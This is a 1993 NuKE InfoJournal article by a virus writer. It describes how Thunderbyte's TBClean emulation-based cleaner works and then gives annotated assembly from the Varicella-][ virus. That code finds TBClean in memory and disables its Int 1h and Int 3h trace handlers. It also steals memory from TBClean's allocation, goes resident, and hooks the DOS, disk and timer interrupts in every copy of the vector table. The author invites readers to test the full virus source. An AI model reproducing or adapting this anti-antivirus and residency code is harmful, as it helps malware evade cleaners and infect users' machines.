home *** CD-ROM | disk | FTP | other *** search
- ================================================================================
- NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
- uK E-
- E- "The Dangers of Thunderbyte's TBClean Emulation Nu
- Nu Techniques" KE
- KE -N
- -N By uK
- uK Rock Steady E-
- E- Nu
- E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
-
- NuKE InfoJournal #7
- August 1993
-
-
- % AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 %
-
- % DISCLAIMER %
-
- This article is concerning a study and field test of the reliability of
- Thunderbyte's anti-virus package. The study was conducted by Rock Steady,
- and this is simply a report about his extensive study of Thunderbyte's
- TBClean utility. This report is not intended to scare people away from
- Thunderbyte's anti-virus package, but rather to show you how TBClean
- actually works in order to clean a virus. The information here may disturb
- many people, nevertheless it is presented here for the safety of those who
- use Thunderbyte's TBClean in a home and/or business environment.
-
-
- % What is ThunderByte %
-
- Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte
- Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean
- computer viruses. In this issue of the NuKE InfoJournal, we will take a
- very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE
- which is supplied in every TBAV package.
-
- TBCLEAN.EXE is a program that tries to remove viruses from your infected
- files by using an heuristic/emulation approach. Now, for those who don't
- understand what an heuristic/emulation approach is let me try to explain
- it to you in more simplified, less-technical terms.
-
- TBClean will try to set up a "control" environment to execute the virus. You
- see, many of the computer viruses today will attach themselves to binary files
- and alter them in such a way that when you try to execute (run) the binary
- file the virus will execute first and install itself into memory, and then
- the virus will execute the original binary file it is attached to. Now, every
- ????????.COM and ????????.EXE binary file contains an entry point. This is the
- point from which DOS to starts to execute the code. Basically it is
- the beginning of the program, and in order for the file to run properly we
- need to start at that entry point. Now *.COM files contain a FIXED entry point
- which is location 100h. Now if we attach a virus to the end of the COM file,
- we have to fix the entry point so that when executed the virus will run
- first. Since this is a FIXED entry point, we will go to location 100h, and
- put a JMP statement to jump to the entry point of the virus. For the
- original file to execute correctly, we will need the original three bytes
- at the entry point, since the JMP we put for it to jump to the virus entry
- point took three bytes of data in the .COM. So when the virus gives control
- back to the file, we then must restore the original three bytes and execute
- them.
-
- Now to remove the virus from the .COM file we need to know where the original
- three bytes are. So TBClean will actually execute the virus and try to catch
- the virus restoring the original three bytes. Once that happens, TBClean can
- safely remove the virus from the file, as it now can replace the original
- three bytes where the virus put its jump statement.
-
- Now .EXEs have a variable entry point, rather than a fixed one like the .COM
- files. Each .EXE file contains a header of about 32 bytes in the beginning
- of the file which has information about the .EXE itself, including the entry
- point. Now when a virus attaches (infects) itself to an .EXE file, it simply
- puts its entry point inside the .EXE header and saves the original one for
- later use.
-
- Again, in order to remove a file from an .EXE file, we will need to have the
- original entry point location. And TBClean does this by executing the virus
- in a controlled environment; when the virus restores control back to the
- .EXE file, it will jump to the entry point location. TBClean will halt
- at that point and attempt to clean the file.
-
-
- % The Problem %
-
- The problem when doing this, the virus can always escape from this controlled
- environment and go loose. In fact we at NuKE have attempted and succeeded in
- doing just that!
-
-
- % Explanation %
-
- When you run TBClean to disinfect a virus-infected file, it does several
- things in order to set up the environment needed to execute the virus. One of
- things that TBClean does is check to see if it is being debugged.
-
- I guess the makers of TBClean did not want people to "debug" their software
- in order to have a closer look because once you know how the program works
- you then can attempt to bypass it. The easiest way to bypass the anti-debug
- traps is to use a debugger package that can go TSR and put loose breakpoints.
- I've found that Periscope and SoftIce can easily bypass the TBClean traps,
- or you may set a TSR file and set it to go off on the first interrupt 21h,
- function 3Dh (DOS Open File).
-
- The next main trick TBClean does is that it occupies all of the remaining
- memory left in the system. TBClean only requires about 20k for itself, but
- nevertheless it will occupy all the remaining memory left in the system. It
- will use this memory for the file it will attempt to clean, but not all of the
- memory is really needed, nevertheless it is occupied. Why? Well, because
- TBClean wants to set-up a secure environment to run the virus and by occupying
- all the available memory if the virus gets out of hand it CAN'T go resident
- because there is no more memory left! "Pretty smart," you must be saying to
- yourself? Yes, it is a good idea to occupy all of the memory, so like even if
- the virus tries to allocate memory it will get an error and it will quit.
-
- The next trick, before TBClean actually executes the virus in the controlled
- environment is that it will make two copies of the interrupt vector table.
- This too is a good idea, because if a virus does manage to escape and hook the
- vector table, TBClean will notice the vector table change and restore it
- with the original value. Therefore, if a virus was to "get out" of this
- controlled TBClean environment we would need to hook all three copies of the
- vector tables (DOS + the two copies that TBClean makes).
-
- After this, we are pretty much ready to try to make a disinfection via
- emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h,
- and 4h to do the actual tracing. The interrupt that we REALLY need to pay
- attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086)
- they added what we call a Trap Flag. Normally this flag is off, and the
- processor executes every line of code without stoping. But when the trap flag
- is on, the processor will issue an Int 1h call after every line of code
- executed. Therefore, after every line of code is executed the processor will
- issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze
- the code line by line.
-
- There are a few restrictions that TBClean enforces; one of them is the Trap
- flag must always be on! If you try to turn off the Trap flag, TBClean will
- fool the virus into thinking the Trap flag is off, but it really stays on.
- Secondly, interrupt calls are not allowed. Thirdly, it will never give you
- the true vector address of Int 1h or Int 3h -- it gives you a fake value
- instead. Finally, TBClean will NOT allow the virus to have its segment in
- the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000,
- the value 0ABC is never allowed to go in the DS or ES registers of the virus.
- This is done so the virus is not able to snoop inside TBClean.
-
-
- % Making a virus to bypass TBClean %
-
- After I had successfully taken apart TBClean, and once I understood exactly
- how it worked, then I was ready to write a virus to defeat TBClean's
- dangerous emulation techniques.
-
- Don't get me wrong, TBClean has a great idea going, but it contains too many
- flaws that must be tightened up. And apparently those flaws can lead to the
- destruction of your PC. Just think about it. Let's say you just downloaded a
- file from your local BBS, and you used TBSCAN to scan the new file for viruses,
- before you attempt to execute it. Lets say the file is infected with a virus
- like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus,
- wouldn't you naturally try to clean it so you could perhaps use the file? Of
- course you would, and what program would you use to do the job? Nothing but
- TBClean!
-
- Picture it, your computer is not infected by any virus, you are pretty much
- happy about yourself for using TBSCAN and detecting that virus inside that
- file you just downloaded. Your glad you got it before it infected your
- computer. Or lets say you got TBScanX resident, and it caught the virus, just
- as you attempt to executed it... You now try to clean the file with TBClean.
- TBClean does what it has to do, looks at the file and then tries emulation to
- disinfect it. After emulation TBClean reports no viruses found, and tells you
- that it may not even be infected with a virus.
-
- You're puzzled? Well, actually TBClean just unleased the virus into your
- system! Now who's to blame? Personally, I think it's the incompetent
- programmers of TBClean. It allowed too many loopholes in their program, and
- the Varicella-][ virus just took advantage of those loopholes and is now
- resident in your computer, ready to infect every file you touch. Remember, it
- is also a very fast, stealthy virus.
-
- Personally, if _any_ anti-virus program should attempt to disinfect via
- emulation, it must be EXTREMELY cautious, and it should take every
- possible loophole into account. Remember, emulation means that you are
- actually executing the virus in order to disinfect it. Many people didn't
- know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte
- should praise NuKE for testing their software and showing them their flaws, so
- that they may do whatever is necessary to fix this problem.
-
- It is fortunate for Thunderbyte that no "evil" virus writer has noticed
- this problem and took advantage of it. It would have cost Thunderbyte
- their name and market share.
-
- Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad
- that Thunderbyte rated very low under NuKE's personal attack tests in several
- fields.
-
- Thunderbyte reported too many false positives, meaning it screamed *VIRUS*
- when no virus was present. It is enough that the average computer user is
- paranoid about viruses, but if you "cry wolf" too many times people lose hope
- in the package.
-
- Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and
- under OS/2. This seems to be because TBSCAN uses its own file routines, instead
- of DOS's.
-
- Thunderbyte is also not very user friendly -- 4 out of 5 moms found this
- package too difficult to use. A Windows version of Thunderbyte could
- be a great plus.
-
-
- % And in this corner...Varicella-][ %
-
- Let's go into detail with parts of the Varicella-][ virus and let's show you why
- it works.
-
- 1 mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag
- 2 xor dx,dx ;dx=0
- 3 mov ds,dx ;ds=0
- 4 mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
- 5 dec ax
- 6 mov ds,ax
-
- Okay, after looking at the above we begin by resetting our TB flag. TBClean
- will not give us the complete address of Int 1h. It will only give us the
- correct segment, the offset is no good. Therefore let's simply take the segment.
- Now we know the segment location of TBClean in memory, since TBClean will
- not let me store the value in DS, let's subtract 1 and *then* store it in DS.
- We have again fooled TBClean; maybe we can't have TBClean's correct segment
- in DS, but by subtracting 1 and adding 16 to IP, we get the exact location.
-
- In the next block of code, we will search 64k of TBClean's memory in order to
- find the Int 1h and 3h offsets and the two copies of the vector table. This is
- the bit of data we will be searching for.
-
- ====================Somewhere in TBClean.EXE==v6.04===================
- 1 cs:04A4 33C0 xor ax,ax
- 2 cs:04A6 8ED8 mov ds,ax
- 3 cs:04A8 8BF8 mov si,ax
- 4 cs:04AA BF342D mov di,2D34
- 5 cs:04AD B90002 mov cx,0200
- 6 cs:04B0 F3A5 rep movsw
-
- [The above block is coping the vector table (0000:0000) to location
- ES:DI (ES:2D34). This value we will need.]
-
- 7 cs:04B2 FA cli
- 8 cs:04B3 C70600005411 mov word ptr [0000],1154
- 9 cs:04B9 8C0E0200 mov [0002],cs
- 10 cs:04BD C7060400E513 mov word ptr [0004],13E5
- 11 cs:04C3 8C0E0600 mov [0006],cs
- 12 cs:04C7 C7060C006B15 mov word ptr [000C],156B
- 13 cs:04CD 8C0E0E00 mov [000E],cs
- 14 cs:04D1 C70610005411 mov word ptr [0010],1154
- 15 cs:04D7 8C0E1200 mov [0012],cs
- 16 cs:04DB C70614005411 mov word ptr [0014],1154
- 17 cs:04E1 8C0E1600 mov [0016],cs
- 18 cs:04E5 C70618005411 mov word ptr [0018],1154
- 19 cs:04EB 8C0E1A00 mov [001A],cs
- 20 cs:04EF C7066C002411 mov word ptr [006C],1124
- 21 cs:04F5 8C0E6E00 mov [006E],cs
- 22 cs:04F9 FB sti
-
- [The above block is hooking the vector table. This is were we get our
- Int 1h and 3h location.]
-
- 23 cs:04FA 8BF0 mov si,ax
- 24 cs:04FC 8BF8 mov di,ax
- 25 cs:04FE 2E8E06F032 mov es,cs:[32F0]
- 26 cs:0503 B90080 mov cx,8000
- 27 cs:0506 F3A5 rep movsw
-
- [The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into
- the segment which is in location CS:32F0. We will need to get this
- location to hook the interrupts.]
- ===========================END of TBClean=============================
-
- Now, the bellow block will start to search for the above block in memory
- where we will scan 64k from the segment we got.
-
- mov cx,0FFFFh ;cx=64k
- mov si,dx ;si=0
-
- look_4_TBClean: mov ax,word ptr ds:[si]
- xor ax,0A5F3h
-
- [You could do a "CMP WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky
- because TBClean will find out what I'm doing and fool around with the
- flag and my test will fail! As you can see, we are looking for the bytes
- from line #6. We search by REVERSE-BIT format! To find F3A5 we search with
- A5F3.]
- je check_it ;jmp if its TBClean
- look_again: inc si ;if not continue looking
- loop look_4_TBClean
- jmp not_found ;not found cont normal
-
- [If A5F3 is found, we continue with the bottom, which will search for more bytes
- in that block captured above. These bytes that we are searching for exist
- in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it
- should work!]
-
- check_it: mov ax,word ptr ds:[si+4]
- xor ax,0006h
- jne look_again ;jmp =! TBClean
- mov ax,word ptr ds:[si+10]
- xor ax,020Eh
- jne look_again ;jmp =! TBClean
- mov ax,word ptr ds:[si+12]
- xor ax,0C700h
- jne look_again ;jmp =! TBClean
- mov ax,word ptr ds:[si+14]
- xor ax,0406h
- jne look_again ;jmp =! TBClean
-
- [If all the bytes match, it means we found TBClean in memory, and since we
- know where we are, we can steal the Int 1h & 3h locations, like we do
- bellow.]
- mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset
-
- [Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h
- handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to
- the offset because the segment is really DS - 1, so to counter act the segment
- we add 16 to the offset. (16 bytes = 1 segment)]
-
- mov byte ptr ds:[bx+16],0CFh ;replace with IRET
-
- [Same is done for Int 3h bellow.]
-
- mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
- mov byte ptr ds:[bx+16],0CFh ;replace with IRET
-
- [TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we
- found TBClean, and let's go resident]
-
- mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on
-
- [The next block gets the segment of where the 2nd copy of the vector table
- is hiding (line #25 in TBClean capture)!]
-
- mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
- mov word ptr cs:[tb_int2][bp],bx ;vector table
-
- [The next block gets the offset of the 1st copy of the vector table that
- TBClean did (line #4 in TBClean capture).]
-
- mov bx,word ptr ds:[si-5] ;get offset of 1st copy
- mov word ptr cs:[tb_ints][bp],bx ;of vector table
-
- [Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.]
-
- not_found: xor dx,dx
- push ds
- mov ds,dx ;put that in ds
- les si,dword ptr ds:[0084h] ;get int21 vector
- mov word ptr cs:[int21][bp],si ;save int21 offset
- mov word ptr cs:[int21+2][bp],es ;save int21 segment
-
- les si,dword ptr ds:[0070h] ;get int1c vector
- mov word ptr cs:[int1c][bp],si ;save int1c offset
- mov word ptr cs:[int1c+2][bp],es ;save int1c segment
-
- les si,dword ptr ds:[004ch] ;get int13 vector
- mov word ptr cs:[int13][bp],si ;save int13 offset
- mov word ptr cs:[int13+2][bp],es ;save int13 segment
- pop ds
-
- mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
- mov ax,0abcdh ;test if virus is here?
- int 13h
- cmp bx,0abcdh ;is it?
- jne install_virus ;jmp, if not & install
- leave_mcb: jmp exit_mem ;yes, leave then
-
- [This is the tricky part! Remember TBClean occupies ALL available memory!
- So I had to come up with a routine that would work when TBClean was NOT in
- memory, and when it was! The task was hard...but I did it (naturally, hehe).
-
- TBClean *NOT* in memory: If TBClean is not in memory, then we start at location
- "install_virus" and we get the List of Lists, and we get the FIRST MCB chain
- and basically we chain through until we find the END of the MCB chain, which
- ends with a "Z" instead of an "M". Once we find the last chain we subtract
- the virus size in paragraphs, and that's it...
-
- TBClean in memory: If TBClean is in memory when the virus finds the LAST
- MCB block and tries to subtract its size from it, it will notice that
- not enough memory is available. Where then will jump to "steal_some."
-
- What "steal_some" does is it will REPEAT the process again. Meaning it will
- now get the FIRST MCB chain, and chain through the end, but while its chaining
- through the MCB, it will look for the MCB that belongs to TBClean!!! Once we
- find the MCB that belongs to TBClean we will subtract the virus size in
- paragraphs from it and voila -- we stole and allocated memory while bypassing
- TBClean!!! And now we can safely return to TBClean without worrying if it will
- de-allocate our memory space.]
-
- ;--------- Going Resident ------
-
- steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
- cmp al,0ffh ;memory from it!
- je leave_mcb ;error? exit then
- inc byte ptr cs:[mcb][bp] ;inc flag
- cmp al,01 ;
- ja mcb3_1
-
- install_virus: mov ah,52h ;get the list of lists
- int 21h ;use dos
- mov ax,es:[bx-2] ;get first mcb chain
-
- mov es,ax ;es=segment of 1st mcb
- mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
- jne mcb2 ;jmp if not
- clc ;yes last mcb, CLC
- jmp short mcbx ;outta here
-
- mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
- je mcb3 ;jmp if yes
- stc ;error, set carry flag
- jmp short mcbx ;outta here
-
- [The bellow block is special! Meaning if the TB flag is on, we will compare
- ALL of the MCB block owners to find the one that belongs to TBClean! Since
- we already know the segment of TBClean, we subtract 100h (256) bytes and we
- have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since
- we already subtracted 1 from the beginning!]
-
- mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
- je mcb3_1 ;if yes, then jmp
- mov dx,ds ;else cmp TB ds
- sub dx,9h ;ds-10
- cmp word ptr es:[0001h],dx ;cmp to mcb owner.
- je mcbx_1
-
- mcb3_1: mov ax,es ;ax=es
- add ax,word ptr es:[0003h] ;ax=es + next mcb
- inc ax ;get mcb
- mov es,ax ;es=ax:next mcb chain
- jmp short mcb1 ;goto first step
-
- mcbx: jc leave_mcb ;if error, exit
- mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h
- jb steal_some
- mov byte ptr es:[0000],'Z' ;the last mcb chain!
- sub word ptr es:[0003],(virus_size/16) + 11h
- add ax,word ptr es:[0003h] ;figure out segment
- inc ax ;add 16 bytes
- mov es,ax ;new segment in es
- mov di,103h ;offset is 103h
-
- [Now we have some memory! Let's move a copy of the virus into that newly
- allocated memory under the TOM!]
-
- push ds ;save TB ds location
- push cs
- pop ds ;virus cs=ds
- mov si,offset init_virus ;si=top of virus
- add si,bp ;add delta
- mov cx,virus_size ;move virus_size
- cld ;clear direction flag
- repne movsb ;do it Mr. Crunge
-
- [Now we will hook the DOS Vector table (0000:0000->0000:0200).]
-
- mov ds,cx ;ds=0000
- hook_again: cli ;disable ints
- mov word ptr ds:[0084h],offset int21_handler ;hook int21
- mov word ptr ds:[0086h],es
- mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
- mov word ptr ds:[0072h],es
- mov word ptr ds:[004ch],offset int13_handler ;hook int13
- mov word ptr ds:[004eh],es
- sti ;enable ints
-
- [We will test if the TBClean flag is on! If TBClean flag is on, we will make
- DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!]
-
- cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
- je go_on ;no, then jmp
- cmp cl,01h ;is this the 2nd x here?
- je go_on ;yes, then jmp
- mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
- inc cl ;inc cl
- jmp short hook_again ;hook ints again
-
- [If TBClean was found the bellow block will now hook the last copy of the
- vector table that TBClean did...]
-
- go_on: pop ds ;get TB code segment
- cmp byte ptr cs:[tb_here][bp],01h ;TB here?
- je hook_tb_ints ;yes, then jmp
- jmp exit_mem ;else exit
- hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
- mov word ptr ds:[si+84h+16],offset int21_handler
- mov word ptr ds:[si+86h+16],es
- mov word ptr ds:[si+70h+16],offset int1c_handler
- mov word ptr ds:[si+72h+16],es
- mov word ptr ds:[si+4ch+16],offset int13_handler
- mov word ptr ds:[si+4eh+16],es
-
- [ALL DONE!!! Now we restore to the original file!
-
- So how does it feel to fool TBClean??? Article #11 contains the complete
- source code of the Varicella-][ virus. You may test it as you wish!]
-
- exit_mem: pop ds
- pop es
- pop si
- cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
- je exit_exe_file ;yupe exit exe file
- cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
- je exit_exe_file ;yupe exit exe file
- push cs
- pop ds
- mov bx,offset buffer ;get first 3 bytes
- add bx,bp ;fix delta
- mov ax,[bx] ;move first 2 bytes
- mov word ptr ds:[100h],ax ;put em in the beginning
- inc bx ;inc pointer
- inc bx
- mov al,[bx] ;get last of 3rd byte
- mov byte ptr ds:[102h],al ;put that in place
- pop dx
- pop cx
- pop bx
- pop word ptr cs:[ax_reg][bp] ;save ax else where
- mov ax,100h
- push ax ;fake a CALL & RETN
- mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
- retn ;link to 100h
-
- exit_exe_file: mov dx,ds ;get psp=ds seg
- add dx,10h ;add 16bytes to seg
- pop word ptr cs:[ax_reg][bp]
- pop cx
- pop bx
- pop ax
- add word ptr cs:[buffer+22][bp],dx ;fix segments
- add dx,word ptr cs:[buffer+14][bp]
- cli
- mov ss,dx ;restore ss
- mov sp,word ptr cs:[buffer+16][bp] ;and sp
- sti
- mov dx,word ptr cs:[ax_reg][bp]
- jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
-
- Rock Steady/NuKE
- ===============================================================================
-